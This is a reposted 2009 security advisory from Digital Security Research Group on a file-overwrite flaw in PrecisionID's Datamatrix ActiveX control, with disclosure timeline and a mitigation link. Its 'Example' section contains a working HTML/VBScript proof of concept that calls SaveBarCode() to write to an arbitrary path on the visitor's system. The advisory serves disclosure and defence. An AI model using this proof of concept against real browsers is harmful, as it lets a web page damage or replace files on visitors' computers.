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PrecisionID Datamatrix ActiveX Arbitrary File Overwrite Vuln

🗓️ 01 Apr 2009 00:00:00Reported by RootType 
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🔗 www.seebug.org👁 31 Views

PrecisionID Datamatrix ActiveX Arbitrary File Overwrite Vulnerability Advisor

Code

                                                Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-030
!!!             original advisory            !!!
http://dsecrg.com/pages/vul/DSECRG-09-030.html


Application:                    PrecisionID activeX controls 
Versions Affected:              
Vendor URL:                     http://PrecisionID.com
Bugs:                           Arbitrary File overwriting
Exploits:                       YES
Reported:                       03.03.2009
Vendor response:                NONE
Secondly Reported:              17.03.2009
Vendor response:                NONE 
Date of Public Advisory:        31.0300.2009
Authors:                        
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PrecisionID  have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file in target system.



Details
*******


This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite 
any file on OS


Sub SaveBarCode (
        ByVal path  As String 
)


Sub SaveEnhWMF (
        ByVal path  As String 
)






*******
Example:



<html>
<object classid=\'clsid:6C951D10-B07F-11DB-A6ED-0050C2490048\' id=\'target\' />
<script language=\'vbscript\'>
targetFile = \"C:\\WINDOWS\\system32\\PRECIS~2.DLL\"
prototype  = \"Sub SaveBarCode ( ByVal path As String )\"
memberName = \"SaveBarCode\"
progid     = \"DMATRIXLib.Datamatrix\"
argCount   = 1

arg1=\"C:\\sh2kerr.pwn\"

target.SaveBarCode arg1 

</script>
</html>



Solution
********
http://msdn.microsoft.com/en-us/library/aa751977.aspx


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot]  com
            http://www.dsecrg.com
            http://www.dsec.ru
                              

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